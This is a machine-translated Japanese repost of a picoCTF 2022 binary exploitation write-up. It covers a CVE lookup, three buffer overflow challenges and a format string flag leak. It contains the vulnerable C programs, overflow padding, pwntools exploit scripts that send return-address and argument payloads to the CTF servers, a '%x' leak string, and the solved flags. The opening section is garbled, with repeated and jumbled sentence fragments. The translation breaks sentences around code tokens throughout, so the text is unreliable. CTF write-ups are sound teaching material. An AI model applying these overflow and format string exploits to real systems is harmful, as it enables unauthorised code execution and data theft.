CTFライトアップ:Picoctf
私のpicoctf 2022の書き込みは、次のセクションに分割されます.
picoctf 2022で解決された二重開発課題は次のとおりです.
100 points CVE-XXXX-XXXX buffer overflow 0
200 points buffer overflow 1
300 points buffer overflow 2 flag leak 私のすべてのwriteupsもmy GitHub's CTFwriteups repository
だから見上げた
私は、これがWindowsプリントスプーラサービスで2021年に最初に記録されたリモートコード実行脆弱性であったのを見ました
したがって、フラグは以下の通りである.
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
私はそれを見た
したがって、フラグは以下の通りである.
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
私はそれを見た
したがって、フラグは以下の通りである.
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
私はそれを見た
ここで、私は、ライン28のバッファが戻りバイトを書き換えるために112バイトであふれることができるのを見ました.
したがって、フラグは以下の通りである.
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
それは私を与えた
そしてさらに試してみました.
それは私に与えた.
これは旗のように見えましたが、慌ててしまいました.それで、私は、私がendiannessを交換しなければならないと仮定しました.
したがって、フラグは以下の通りである.
picoctf 2022で解決された二重開発課題は次のとおりです.
目次
100 points
200 points
300 points
( CVE - XXXX - XXXX )
The challenge is the following,
だから見上げた
remote code execution windows print spooler 2021
グーグル上でsite from Microsoft that listed vulnerabilities .私は、これがWindowsプリントスプーラサービスで2021年に最初に記録されたリモートコード実行脆弱性であったのを見ました
CVE-2021-34527
私が探していたCveでした.したがって、フラグは以下の通りである.
picoCTF{CVE-2021-34527}
バッファオーバーフロー0
The challenge is the following,
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <signal.h>
5.
6. #define FLAGSIZE_MAX 64
7.
8. char flag[FLAGSIZE_MAX];
9.
10. void sigsegv_handler(int sig) {
11. printf("%s\n", flag);
12. fflush(stdout);
13. exit(1);
14. }
15.
16. void vuln(char *input){
17. char buf2[16];
18. strcpy(buf2, input);
19. }
20.
21. int main(int argc, char **argv){
22.
23. FILE *f = fopen("flag.txt","r");
24. if (f == NULL) {
25. printf("%s %s", "Please create 'flag.txt' in this directory with your",
26. "own debugging flag.\n");
27. exit(0);
28. }
29.
30. fgets(flag,FLAGSIZE_MAX,f);
31. signal(SIGSEGV, sigsegv_handler); // Set up signal handler
32.
33. gid_t gid = getegid();
34. setresgid(gid, gid, gid);
35.
36.
37. printf("Input: ");
38. fflush(stdout);
39. char buf1[100];
40. gets(buf1);
41. vuln(buf1);
42. printf("The program will exit now\n");
43. return 0;
44. }
私はそれを見たgets(buf1)
ライン40は、ユーザー入力を読みとるために用いる.そして、それはオーバーフローをチェックしないで、入力されるvuln(buf1)
インライン41.私はそれを見た
buf2[16]
ライン17のバッファvuln()
を読み込むコードに20バイトでオーバーフローすることができますflag.txt
第23行から始めたので、20を用意しましたA
, AAAAAAAAAAAAAAAAAAAA
私はリモートサーバーに接続し、入力20A
,したがって、フラグは以下の通りである.
picoCTF{ov3rfl0ws_ar3nt_that_bad_81929e72}
バッファオーバーフロー1
The challenge is the following,
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6. #include "asm.h"
7.
8. #define BUFSIZE 32
9. #define FLAGSIZE 64
10.
11. void win() {
12. char buf[FLAGSIZE];
13. FILE *f = fopen("flag.txt","r");
14. if (f == NULL) {
15. printf("%s %s", "Please create 'flag.txt' in this directory with your",
16. "own debugging flag.\n");
17. exit(0);
18. }
19.
20. fgets(buf,FLAGSIZE,f);
21. printf(buf);
22. }
23.
24. void vuln(){
25. char buf[BUFSIZE];
26. gets(buf);
27.
28. printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
29. }
30.
31. int main(int argc, char **argv){
32.
33. setvbuf(stdout, NULL, _IONBF, 0);
34.
35. gid_t gid = getegid();
36. setresgid(gid, gid, gid);
37.
38. puts("Please enter your string: ");
39. vuln();
40. return 0;
41. }
こちらです.gets()
それは、オーバーフローをチェックしないので、脆弱な関数である26行目で使用されます.私はそれが機能win()
フラグリーダーを含む関数です.使用するpwndbg
使用info functions
.私はそれを見た
win()
であった0x080491f6
, それで、これは私が上書きしたいリターンアドレスです.バッファをオーバーフローしてリターンアドレスを書き換えるために44バイトを使うことができますので、44のパディングを準備しましたA
,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
私は、私が帰りのアドレスのためにEndiannessを交換する必要があると仮定しました.\xf6\x91\x04\x08
それから、私はすべてを次の中に入れましたexploit.py ,from pwn import *
#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''
def start(server=True):
if(server):
return remote('saturn.picoctf.net', 53520)
else:
return process(['./vuln'])
io = start()
#io.recvuntil(">>")
a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
a += "\xf6\x91\x04\x08"
io.sendline(a)
io.interactive()
私はこのスクリプトを実行しました.したがって、フラグは以下の通りである.
picoCTF{addr3ss3s_ar3_3asy_b9797671}
バッファオーバーフロー2
The challenge is the following,
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6.
7. #define BUFSIZE 100
8. #define FLAGSIZE 64
9.
10. void win(unsigned int arg1, unsigned int arg2) {
11. char buf[FLAGSIZE];
12. FILE *f = fopen("flag.txt","r");
13. if (f == NULL) {
14. printf("%s %s", "Please create 'flag.txt' in this directory with your",
15. "own debugging flag.\n");
16. exit(0);
17. }
18.
19. fgets(buf,FLAGSIZE,f);
20. if (arg1 != 0xCAFEF00D)
21. return;
22. if (arg2 != 0xF00DF00D)
23. return;
24. printf(buf);
25. }
26.
27. void vuln(){
28. char buf[BUFSIZE];
29. gets(buf);
30. puts(buf);
31. }
32.
33. int main(int argc, char **argv){
34.
35. setvbuf(stdout, NULL, _IONBF, 0);
36.
37. gid_t gid = getegid();
38. setresgid(gid, gid, gid);
39.
40. puts("Please enter your string: ");
41. vuln();
42. return 0;
43. }
こちらです.gets()
はライン29で使用されています.これは脆弱性をチェックしていないので、脆弱な関数です.私はそれが機能win()
フラグリーダーを含む関数です.使用するpwndbg
使用info functions
ライクbuffer overflow 1 .私はそれを見た
win()
であった0x08049296
, それで、これは私がジャンプしたいリターンアドレスです.しかし、buffer overflow 1 , 私はまた引数を渡さなければならなかった0xCAFEF00D
and 0xF00DF00D
にwin()
線20および22がこれらのためにチェックするように、機能してください.ここで、私は、ライン28のバッファが戻りバイトを書き換えるために112バイトであふれることができるのを見ました.
A
,a = 'A' * 112
そして、アドレスにジャンプしたい0x08049296
そこでエンディアンを交換しました.a += "\x96\x92\x04\x08"
私は入力パラメータをwin()
ある0xCAFEF00D
and 0xF00DF00D
, そこで最初に4バイトのパディングを準備しました.a += "CCCC"
それで準備した0xCAFEF00D
エンディアンを交換することでa += "\x0d\xf0\xfe\xca"
それで準備した0xF00DF00D
エンディアンを交換することでa += "\x0d\xf0\x0d\xf0"
私はすべてをまとめて以下にまとめるexploit2.py ,from pwn import *
#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''
def start(server=True):
if(server):
return remote('saturn.picoctf.net', 52578)
else:
return process(['./vuln'])
io = start()
#io.recvuntil(">>")
a = 'A' * 112
a += "\x96\x92\x04\x08"
a += "CCCC"
a += "\x0d\xf0\xfe\xca"
a += "\x0d\xf0\x0d\xf0"
io.sendline(a)
io.interactive()
スクリプトを実行し、入力をリモートサーバに渡しました.したがって、フラグは以下の通りである.
picoCTF{argum3nt5_4_d4yZ_eb489c7a}
フラッグリーク
The challenge is the following,
実行可能ファイルも与えられますvuln とソースコードvuln.c ,
1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <unistd.h>
5. #include <sys/types.h>
6. #include <wchar.h>
7. #include <locale.h>
8.
9. #define BUFSIZE 64
10. #define FLAGSIZE 64
11.
12. void readflag(char* buf, size_t len) {
13. FILE *f = fopen("flag.txt","r");
14. if (f == NULL) {
15. printf("%s %s", "Please create 'flag.txt' in this directory with your",
16. "own debugging flag.\n");
17. exit(0);
18. }
19.
20. fgets(buf,len,f); // size bound read
21. }
22.
23. void vuln(){
24. char flag[BUFSIZE];
25. char story[128];
26.
27. readflag(flag, FLAGSIZE);
28.
29. printf("Tell me a story and then I'll tell you one >> ");
30. scanf("%127s", story);
31. printf("Here's a story - \n");
32. printf(story);
33. printf("\n");
34. }
35.
36. int main(int argc, char **argv){
37.
38. setvbuf(stdout, NULL, _IONBF, 0);
39.
40. // Set the gid to the effective gid
41. // this prevents /bin/sh from dropping the privileges
42. gid_t gid = getegid();
43. setresgid(gid, gid, gid);
44. vuln();
45. return 0;
46. }
47.
この問題はAに似ている.私は、その線30を見ましたscanf("%127s", story)
メモリがリークされる形式の文字列脆弱性を持っています%x
. だから私は先に行き、リモートサーバに接続して%x
,それは私を与えた
ffee0140
, それで、もっと試してみました.そしてさらに試してみました.
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
それは私に与えた.
fff2a990fff2a9b08049346782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578252578256f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738fbad2000556b29000f7f4a990804c00080494100804c000fff2aa7880494182fff2ab24fff2ab300fff2aa9000f7d40ee5
私は以下のセクションがASCIIであるかもしれないのを見ました.6f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738
それで私は彼らの間にスペースを入れた.6f 63 69 70 7b 46 54 43 6b 34 33 4c 5f 67 6e 31 67 34 6c 46 66 66 30 5f 34 74 53 5f 62 5f 6b 63 65 30 34 38 7d 39 37 38
そして、私はそれを16進から変換するためにサイバーシェフに行きました.これは旗のように見えましたが、慌ててしまいました.それで、私は、私がendiannessを交換しなければならないと仮定しました.
したがって、フラグは以下の通りである.
picoCTF{L34k1ng_Fl4g_0ff_St4ck_b840e879}
Reference
この問題について(CTFライトアップ:Picoctf), 我々は、より多くの情報をここで見つけました https://dev.to/lambdamamba/ctf-writeup-picoctf-2022-binary-exploitation-1k0nテキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol